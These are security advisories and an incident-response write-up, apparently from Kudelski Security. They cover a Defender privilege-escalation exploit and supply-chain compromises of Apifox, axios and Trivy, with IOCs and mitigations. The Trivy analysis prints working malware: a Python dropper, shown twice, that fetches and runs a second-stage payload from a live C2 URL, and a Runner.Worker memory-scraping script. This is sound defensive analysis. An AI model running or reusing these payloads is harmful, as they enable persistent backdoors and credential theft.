The exploit operates by interacting with Defender’s internal RPC interface (IMpService) to trigger the signature update process. It leverages legitimate update behavior by downloading signature files (such as mpasbase.vdm) from Microsoft servers, then uses opportunistic locking (oplocks) to pause execution at a critical moment. During this race window, the attacker replaces expected file paths using NTFS junctions, reparse points, and Object Manager symbolic links, effectively redirecting operations performed by Defender running as SYSTEM. Advanced techniques such as the Windows Cloud Files API and Volume Shadow Copy mechanisms are used to reliably win the race condition. As a result, Defender executes privileged actions on attacker-controlled paths, enabling escalation to SYSTEM-level access.

Impact capabilities include: - SYSTEM-level shell access (hosts) / Administrator-level access (servers) - Credential dumping (e.g., NTLM hashes) - Full system compromise, including persistence and lateral movement

While exploitation requires precise timing and is not fully reliable, it is considered operationally viable and dangerous due to public PoC availability.

Mitigation

No official patch is currently available.

Recommended defensive actions: - Enforce least privilege principles - Restrict local and interactive access - Monitor Defender-related activity and update processes

What the Cyber Fusion Center is Doing

The Cyber Fusion Center (CFC) is actively monitoring the situation and will issue advisory updates as needed.

References

2026

April 2, 2026

Apifox Supply Chain Attack

Kudelski Security Team

Summary

A supply chain attack targeting the Apifox desktop client was detected by the SlowMist security team in March 2026. Attackers compromised an official CDN-hosted JavaScript file (apifox-app-event-tracking.min.js), injecting malicious code disguised as analytics tracking functionality. The compromised script was automatically executed by the Electron-based desktop application without requiring user interaction, resulting in the theft of authentication credentials, system information, and API credentials, as well as enabling remote code execution (RCE) capabilities on affected systems.

Affected Systems and/or Applications

  • Primary Target: Apifox desktop client (Electron-based application)
  • Attack Vector: Compromised CDN script file (apifox-app-event-tracking.min.js)
  • User Impact: All users who launched the Apifox desktop client during the period when the CDN-hosted script was compromised
  • Platforms: Windows, macOS, and Linux systems running the Apifox desktop application

Technical Details

CDN Compromise and Script Injection: - The official CDN-hosted file apifox-app-event-tracking.min.js was tampered with at the source, injecting malicious JavaScript into a trusted analytics script - Because Apifox is built on Electron, the desktop application automatically loads this script on every startup and during normal operation, executing the malicious payload without any user action or consent.

Once executed within the Apifox Electron runtime, the payload performed the following actions: -  Extracted authentication tokens from the application's local storage, specifically targeting common.accessToken and related session data. -  Executed system commands (ps aux on macOS/Linux, tasklist on Windows) to enumerate running processes. -  Targeted the following files and directories for exfiltration: - ~/.ssh/ - SSH private and public keys - ~/.git-credentials Git authentication credentials - ~/.zsh_history / ~/.bash_history - Shell command history - ~/.kube/* - Kubernetes cluster configurations and tokens - ~/.npmrc - npm registry authentication tokens - ~/.zshrc - Zsh configuration (may contain secrets) - ~/.subversion/* - SVN credentials -  Stolen data transmitted to C2 servers via RSA-encrypted channels, tagged with custom HTTP headers/fields: af_uuid, af_os, af_user, af_name, af_apifox_user, af_apifox_name. -  Retrieved and executed arbitrary remote payloads from C2 infrastructure, establishing a persistent backdoor. -  A built-in randomized timer triggered continuous data theft and payload fetch cycles throughout the application's runtime.

Mitigation

  1. Revoke all tokens: Apifox access tokens, API keys, and OAuth tokens stored or accessed through the client.
  2. Rotate SSH keys: Generate new SSH key pairs and remove compromised public keys from all authorized hosts.
  3. Reset passwords: Change Apifox account password and any password that may have been stored in targeted files.
  4. Invalidate Apifiox sessions: Log out and log back in to force session token invalidation.
  5. Rotate Git credentials: Regenerate GitHub/GitLab personal access tokens and deploy keys.
  6. Rotate Kubernetes credentials: Regenerate kubeconfig tokens and audit cluster access logs.
  7. Rotate npm tokens: Revoke and regenerate all npm authentication tokens.
  8. Clear local storage: Remove _rl_headers and _rl_mc keys from Apifox's LevelDB storage via the developer console: localStorage.removeItem(‘_rl_headers’);localStorage.removeItem(‘_rl_mc’);
  9. Review audit logs: Examine API access logs, Git repository activity, and infrastructure access logs for anomalous activity during the March 4–22 window.

IOCs

Network:

DomainNotesapifox[.]it[.]comPrimary C2 domain, hosted on Cloudflare, active 18 days, now offlinecdn[.]openroute[.]devSecondary C2 / payload deliveryupgrade[.]feishu[.]it[.]comC2 communication endpointsystem[.]toshinkyo[.]or[.]jpC2 communication endpoint*[.]feishu[.]it[.]comWildcard subdomain used for C2ns[.]openroute[.]devDNS infrastructure related to attack

File:

IndicatorValueCompromised Fileapifox-app-event-tracking.min.jsSHA25691d48ee33a92acef02d8c8153d1de7e7fe8ffa0f3b6e5cebfcb80b3eeebc94f1Original Size~34 KBCompromised Size~77 KB

Host-based:

  • Presence of _rl_headers and _rl_mc keys in Apifox LevelDB local storage
  • Unexpected outbound DNS queries or connections to the C2 domains listed above
  • Evidence of ps aux or tasklist execution spawned from the Apifox/Electron process tree
  • Unauthorized reads of ~/.ssh/, ~/.git-credentials, ~/.kube/, ~/.npmrc

What the Cyber Fusion Center is doing

The CFC continues to monitor the situation and is in the process of building a threat-hunting campaign to identify related activity. This advisory will be updated if required.

References

2026

March 31, 2026

Axios Supply Chain Attack

Kudelski Security Team

Summary

On March 31, 2026, StepSecurity identified a sophisticated supply chain attack involving the compromise of two versions of the popular axios HTTP client library on npm: [email protected] and [email protected]. These versions were published using compromised npm credentials of a lead axios maintainer, bypassing the usual CI/CD pipeline. The attack involved injecting a malicious dependency, [email protected], which executed a postinstall script deploying a cross-platform remote access trojan (RAT). This RAT targeted macOS, Windows, and Linux systems, establishing a connection with a command-and-control server to deliver platform-specific payloads.

Affected Systems and/or Applications

  • Applications: Any application using [email protected] or [email protected].
  • Operating Systems: macOS, Windows, and Linux systems where the malicious versions were installed.
  • Development Environments: CI/CD pipelines and developer machines that executed npm install with the compromised versions.

Technical Details

Attack Vector

  1. Maintainer Account Hijack: The attacker compromised the npm account of a primary axios maintainer, changing the registered email to an attacker-controlled ProtonMail address. This allowed the attacker to publish malicious versions of axios.
  2. Malicious Dependency Injection: The attacker pre-staged a malicious package, [email protected], which was added as a runtime dependency in the compromised axios versions. This package contained a postinstall script that deployed a RAT.
  3. RAT Deployment: The postinstall script executed a dropper that contacted a command-and-control server (sfrclak.com:8000) to deliver platform-specific payloads. The dropper employed obfuscation techniques to evade detection and performed self-cleanup to hide evidence of the compromise.

Indicators of Compromise

  • Malicious npm Packages:
  • Network Indicators:
    • C2 domain: sfrclak.com
    • C2 IP: 142.11.206.73
    • C2 POST body (macOS) · packages.npm.org/product0
    • C2 POST body (Windows) · packages.npm.org/product1
    • C2 POST body (Linux) · packages.npm.org/product2
  • File System Indicators:
    • macOS: /Library/Caches/com.apple.act.mond
    • Windows: %PROGRAMDATA%\wt.exe
    • Linux: /tmp/ld.py
  • Attacker-Controlled Accounts:

Assesing wheter your npm system is affected

The Safe Version Reference is: [email protected] (safe) · shasum: 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb

Immediate Actions: - Downgrade to safe axios versions: [email protected] or [email protected]. - Remove plain-crypto-js from node_modules and reinstall dependencies with npm install --ignore-scripts. - Check for RAT artifacts on affected systems and treat them as fully compromised if found.

Preventive Measures: - Use --ignore-scripts in CI/CD pipelines to prevent postinstall hooks from executing. - Block C2 traffic at the network/DNS layer. - Rotate all credentials on systems where the malicious package ran.

For StepSecurity Enterprise Customers: - Utilize Harden-Runner to enforce network egress allowlists and detect anomalous network traffic. - Deploy StepSecurity Dev Machine Guard for real-time visibility into npm packages installed on developer devices.

What the Cyber Fusion Center is Doing

The CFC is monitoring the situation and analyzing the case to launch potential threat-hunting campaigns. This advisory will be updated if required.

References

2026

March 27, 2026

Investigating Two Variants of the Trivy Supply-Chain Compromise

Kudelski Security Team

In March 2026, the TeamPCP threat actor compromised the open-source vulnerability scanner Trivy and distributed credential-stealing payloads through its official distribution channels. We investigated two separate clients affected by two distinct variants of this campaign: one through the compromised GitHub Action (trivy-action), the other through the compromised container image binary itself. Each variant operates differently, carries different capabilities, and requires a different investigative approach.

This post walks through both investigations: how we reverse-engineered each payload, what we found in the cloud audit trail following AWS secrets theft, and what the binary variant reveals about the attacker's ambitions beyond CI/CD credential theft. For the technical details of the supply-chain compromise mechanics, we refer the reader to CrowdStrike, Wiz, Rami McCarthy, and Microsoft.

Background: The TeamPCP Campaign

On March 19, 2026, threat actor TeamPCP compromised the aquasecurity/trivy-action GitHub Action and the Trivy container image (v0.69.4), distributing credential-harvesting payloads through Docker Hub, ECR, and GHCR. The campaign later expanded to npm packages (28 infected via a self-propagating worm), Checkmarx KICS GitHub Actions, OpenVSX extensions, and the LiteLLM PyPI package. This was a sustained, multi-ecosystem supply-chain operation spanning nearly a month.

Variant 1: The Trivy Action

The Payload

The malicious commit to trivy-action is still publicly accessible on GitHub. It injects malicious code into entrypoint.sh that execute before the legitimate Trivy scan. The payload operates in three stages:

Stage 1 reads /proc/PID/environ for the current process and any running Runner.Worker, Runner.Listener, runsvc, or run.sh processes. It captures environment variables matching env or ssh in the key name, and if a value points to a file on disk, reads that file too.

Stage 2 forks based on RUNNER_ENVIRONMENT. On GitHub-hosted runners, it scrapes the Runner.Worker process memory for JSON secrets structures. On self-hosted or GitLab runners, it executes a base64-encoded Python filesystem harvester signed "TeamPCP Cloud stealer" that reads SSH keys, cloud credentials, Kubernetes configs, Docker credentials, .env files, terraform state, shell history, database configs, TLS private keys, and cryptocurrency wallets, walking multiple directories up to 6 levels deep, matching over 100 file paths.

Stage 3 encrypts the collected data with AES-256-CBC (random session key wrapped with a hardcoded 4096-bit RSA public key), bundles it as tpcp.tar.gz, and POSTs to scan.aquasecurtiy[.]org. If the POST fails and a GitHub PAT is available, it creates a public repository named tpcp-docs and uploads the bundle as a release asset.

Reproducing the Stealer

When a credential stealer runs in your CI/CD pipeline, the natural reaction is to assume everything is compromised. That creates noise without clarity. Instead, we wanted to know precisely what the attacker received.

We replicated every check from the malicious payload (identical paths, glob patterns, recursive walk depths, and match functions) in an audit script, then ran it on a container configured to match the client's production GitLab runner environment.

The simulation confirmed the exact set of exfiltrated credentials: two distinct AWS key pairs with broad permissions, several CI/CD service tokens, and the full printenv output with all secrets in cleartext. Just as importantly, it confirmed what was not exposed: no SSH keys, no cloud credential files on disk, no Docker registry configs, and ephemeral containers with no persistent backdoor risk.

This gave us a definitive inventory to trace through CloudTrail. No guesswork, no FOMO-driven mass rotation.

CloudTrail: Four IPs, Four Toolkits

We performed an exhaustive CloudTrail search across all 29 AWS regions on both compromised keys from four distinct source IPs.

IP Timing User Agent Activity
209.159.147.239 Mar 20, 02:05 TruffleHog Key validation via TruffleHog secret scanner
170.62.100.245 Mar 20, 23:41 Boto3 on Kali Linux Full cloud enumeration + S3 bucket scanning
154.47.29.12 Mar 21, 02:01 Botocore on Windows 11 Org recon (ListAccountAliases, DescribeOrganization)
103.75.11.59 Mar 23, 07:32 AWS SDK Go on macOS ARM Re-check (GetCallerIdentity + ListBuckets)

The first IP to touch the stolen keys ran TruffleHog to validate that the credentials were live. The TruffleHog user agent appears directly in CloudTrail. The attacker then enumerated IAM users, roles, Lambda functions, DynamoDB tables, CloudFormation stacks, and scanned every S3 bucket's ACL and public access configuration. Services outside the compromised policy (EC2, RDS, SecretsManager) returned AccessDenied.

The S3 Blind Spot

The attacker scanned 24 S3 buckets, including 9 terraform state buckets. The organization's CloudTrail was configured for management events only. S3 data events (GetObject, PutObject) were not enabled. We could see the attacker map every bucket and check every ACL, but not whether they downloaded anything.

With s3:* permissions and no data event logging, we assessed that the contents of all 24 scanned buckets should be treated as compromised.

We ran TruffleHog against all 24 buckets and found 5 RSA private keys in cleartext in one bucket used for JWT signing. TruffleHog is pattern-based though: it catches known secret formats but misses database passwords and API keys stored as plain values in terraform state files.

IAM Persistence

With iam:* permissions, the attacker could have created backdoor users, roles, or access keys that would survive key rotation. We pulled full IAM state dumps from both accounts. No backdoor users, roles, or keys were created. No policies modified. No trust relationships changed. The attacker stuck to reconnaissance.

Variant 2: The Trivy Binary

Detection Through Proactive Hunting

The second infection was not detected by an alert. The client's EDR had full telemetry of the compromised binary's execution, including the characteristic pgrep -f Runner.Worker child processes, but did not flag the malicious ELF file at the time it ran.

We identified the infection through proactive hunting. When the TeamPCP campaign IOCs were published, we matched the compromised Trivy v0.69.4 binary hash (822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0) against our clients' container image inventories and found a hit. The client had been running aquasec/trivy:latest with Watchtower auto-update enabled. When TeamPCP pushed the compromised image to Docker Hub, Watchtower pulled and deployed it automatically.

Binary Analysis: A Self-Contained Stealer

import urllib.request
  import os
  import subprocess
  import time

  C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
  TARGET = "/tmp/pglog"
  STATE = "/tmp/.pg_state"

  def g():
      try:
          req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
          with urllib.request.urlopen(req, timeout=10) as r:
              link = r.read().decode('utf-8').strip()
              return link if link.startswith("http") else None
      except:
          return None

  def e(l):
      try:
          urllib.request.urlretrieve(l, TARGET)
          os.chmod(TARGET, 0o755)
          subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
          with open(STATE, "w") as f:
              f.write(l)
      except:
          pass

  if __name__ == "__main__":
      time.sleep(300)
      while True:
          l = g()
          prev = ""
          if os.path.exists(STATE):
              try:
                  with open(STATE, "r") as f:
                      prev = f.read().strip()
              except:
                  pass

          if l and l != prev and "youtube.com" not in l:
              e(l)

          time.sleep(3000)

Unlike the Action variant (a shell script injected into entrypoint.sh), the binary variant compiles the malicious code directly into the Trivy Go binary. Aqua Security cleaned the repository and deleted the v0.69.4 tag. The malicious Go source files (scand.go, fork_unix.go) are no longer accessible on GitHub. But the compiled binary preserves everything.

Using strings extraction on the 153MB stripped ELF binary, we confirmed the malicious infrastructure compiled into the binary: the C2 URL (scan.aquasecurtiy[.]org), the GitHub fallback exfil pattern (tpcp-docs repository creation + release upload), the credential sweep file paths, and the persistence artifacts.

We also extracted two base64-encoded Python payloads embedded in the Go binary:

Payload 1: Memory scraper. Identical to the Action variant's GitHub-hosted runner path. Targets the Runner.Worker process via /proc/PID/mem, pattern-matching for {"value":"<secret>","isSecret":true}.

      import sys
  import os
  import re

  def get_pid():
      for pid in (p for p in os.listdir('/proc') if p.isdigit()):
          try:
              with open(os.path.join('/proc',pid,'cmdline'),'rb') as f:
                  if b'Runner.Worker' in f.read():return pid
          except OSError:continue
      raise SystemExit(0)
  pid=get_pid()
  map_path=f"/proc/{pid}/maps"
  mem_path=f"/proc/{pid}/mem"
  with open(map_path,'r') as map_f,open(mem_path,'rb',0) as mem_f:
      for line in map_f:
          m=re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])',line)
          if not m or m.group(3)!='r':continue
          start=int(m.group(1),16);end=int(m.group(2),16)
          if start>sys.maxsize:continue
          mem_f.seek(start)
          try:
              chunk=mem_f.read(end-start);sys.stdout.buffer.write(chunk)
          except OSError:continue

Payload 2: The sysmon.py persistence dropper. This is what sets the binary variant apart:

import urllib.request
  import os
  import subprocess
  import time

  C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
  TARGET = "/tmp/pglog"
  STATE = "/tmp/.pg_state"

  def g():
      try:
          req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
          with urllib.request.urlopen(req, timeout=10) as r:
              link = r.read().decode('utf-8').strip()
              return link if link.startswith("http") else None
      except:
          return None

  def e(l):
      try:
          urllib.request.urlretrieve(l, TARGET)
          os.chmod(TARGET, 0o755)
          subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
          with open(STATE, "w") as f:
              f.write(l)
      except:
          pass

  if __name__ == "__main__":
      time.sleep(300)
      while True:
          l = g()
          prev = ""
          if os.path.exists(STATE):
              try:
                  with open(STATE, "r") as f:
                      prev = f.read().strip()
              except:
                  pass

          if l and l != prev and "youtube.com" not in l:
              e(l)

          time.sleep(3000)


The binary checks the GITHUB_ACTIONS environment variable. If absent (meaning it's running on a developer machine or standalone server, not in CI), it writes this Python script to ~/.config/systemd/user/sysmon.py and creates a systemd unit for persistence. The dropper sleeps 5 minutes, then polls the ICP blockchain-hosted C2 for a second-stage payload URL, downloads it to /tmp/pglog, and executes it.

This is a significant escalation over the Action variant. The Action is fire-and-forget: it runs once during a CI pipeline and exfiltrates what it finds. The binary adds a persistent backdoor that survives reboots and maintains ongoing access through a takedown-resistant C2 hosted on the Internet Computer Protocol.

Comparing the Two Variants

Trivy Action Trivy Binary
Vector GitHub Action entrypoint.sh Container image ELF binary
Payload language Bash + embedded Python Go + embedded Python
Persistence None (single execution) sysmon.py systemd service + ICP blockchain C2
Developer machine targeting No Yes (GITHUB_ACTIONS check)
Source code available Yes (commit e0198fd) No (cleaned by Aqua, tag deleted)
Self-contained No (needs Python, curl, openssl on runner) Yes (Go binary, Python only for persistence)
Second-stage capability None Downloads and executes arbitrary payload from C2

Attacker Infrastructure

Three of the four IPs are VPN exit nodes on Datacamp Limited (AS212238, Sweden and Croatia) and Host Universal (AS136557, New Zealand). Disposable anonymization infrastructure with no prior reputation in any threat intelligence feed.

The outlier is 209.159.147.239, an Interserver VPS in New York, the only one of the four with open services. It runs:

  • Port 22: OpenSSH 9.6p1 (Ubuntu)
  • Ports 888,443: nginx+simplehttp, gated behind authentication (HTTP 401 Unauthorized), serving a TLS certificate issued by Let's Encrypt for the domain nsa[.]cat
  • Ports 9000, 9001, 2001: MinIO, an S3-compatible object storage server

The TLS certificate on port 443 revealed the domain. The certificate's Common Name is nsa[.]cat, linking the IP to the domain. Pivoting on the domain:

  • Registered January 28, 2026 via Spaceship.com
  • Registrant country: China
  • 3 of 94 VirusTotal engines flag it as malicious
  • Currently fronted by Cloudflare, but previously resolved directly to 209.159.147.239
  • 71 certificates issued in Certificate Transparency logs, frequent cert rotation
  • nginx returns 401 Unauthorized, password-protected, not a public-facing site

This is the attacker's operational server. They used it to run TruffleHog against stolen AWS keys (confirmed by the TruffleHog user agent in CloudTrail pointing to this IP). It hosts MinIO, a natural place to stage stolen credential bundles before processing. The 401 on nginx indicates a gated panel or API for managing operations. The other three IPs are throwaway VPN exits; this one is infrastructure the attacker owns and operates.

Open Directory on Port 888

During continued monitoring of this VPS, we found a Python HTTP server running on port 888 serving an open directory with two files:

  • bomgar.txt (900K lines): a list of domains containing substrings like access, remote, rdweb, gateway, and secure-access. "Bomgar" is the former name of BeyondTrust Remote Support. This is a target list: domains with exposed BeyondTrust remote access endpoints. This is notable given the recent CVE-2026-1731, a pre-authentication remote code execution vulnerability in BeyondTrust Remote Support.
  • raw_domains.txt (6.6 million lines): a massive domain list, likely scraped from Certificate Transparency logs or passive DNS datasets, used as input for the Bomgar scan.

This server looks like not just a credential staging point. The attacker is also using it to build target lists for exploiting remote access infrastructure.

Recommendations

  • Apply least privilege to CI/CD service credentials. The compromised IAM user in one of our cases had iam:*, s3:*, lambda:*, and 6 other full-service permissions on Resource: *. The attacker enumerated IAM users, Lambda functions, DynamoDB tables, CloudFormation stacks, and scanned every S3 bucket across production and non-production. A scoped policy, only the specific permissions the pipeline actually needs on the specific resources it touches, would have reduced the blast radius from full cloud enumeration to a single service.
  • Separate credentials per environment. One of our clients shared the same AWS key pair across sandbox and integration environments. One compromise exposed both. Production and non-production credentials should never coexist in the same pipeline.
  • Use short-lived credentials (OIDC federation) instead of static IAM keys. The compromised static keys had no expiry. An attacker can use them indefinitely until someone notices. OIDC tokens from GitLab or GitHub expire in minutes.
  • Pin container images by digest, not tag. image: aquasec/trivy@sha256:... instead of image: aquasec/trivy:latest. Tags can be force-pushed to point to a different image; digests cannot. Combined with Watchtower or similar auto-update tools, a :latest tag becomes an auto-deploy mechanism for supply-chain attacks.
  • Disable automatic container updates in production. Watchtower with latest tags auto-deployed the compromised image without human review. Auto-update is convenient in development; in production, it's an uncontrolled deployment pipeline.
  • Consider Enabling S3 data event logging in CloudTrail. Without it, you cannot determine if data was read or written at the object level.

Indicators of Compromise

Indicator Type Context
170.62.100.245 IP Main operator (Kali Linux, Boto3). Cloud enumeration + S3 scanning.
209.159.147.239 IP TruffleHog key validation. Interserver VPS, NYC. Hosts nsa[.]cat + MinIO + open directory.
154.47.29.12 IP Org recon (Windows 11, Botocore). Datacamp VPN, Croatia.
103.75.11.59 IP Re-check (macOS ARM, AWS SDK Go). Host Universal VPN, New Zealand.
scan.aquasecurtiy[.]org Domain Primary exfiltration endpoint (typosquat of aquasecurity).
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io Domain ICP blockchain C2 for persistence dropper.
nsa[.]cat TLS Subject DN Attacker VPS. Registered 2026-01-28, China. nginx + MinIO.
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a SHA256 Malicious entrypoint.sh (trivy-action).
822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0 SHA256 Malicious Trivy v0.69.4 binary (Linux-64bit).
6328a34b26a63423b555a61f89a6a0525a534e9c88584c815d937910f1ddd538 SHA256 Malicious Trivy v0.69.4 binary (macOS-ARM64).
0880819ef821cff918960a39c1c1aada55a5593c61c608ea9215da858a86e349 SHA256 Malicious Trivy v0.69.4 binary (Windows-64bit).
e0198fd2b6e1679e36d32933941182d9afa82f6f Git commit Malicious commit in aquasecurity/trivy-action (still accessible).
~/.config/systemd/user/sysmon.py File path Persistence dropper (binary variant).
/tmp/pglog File path Second-stage payload download location.

References

2026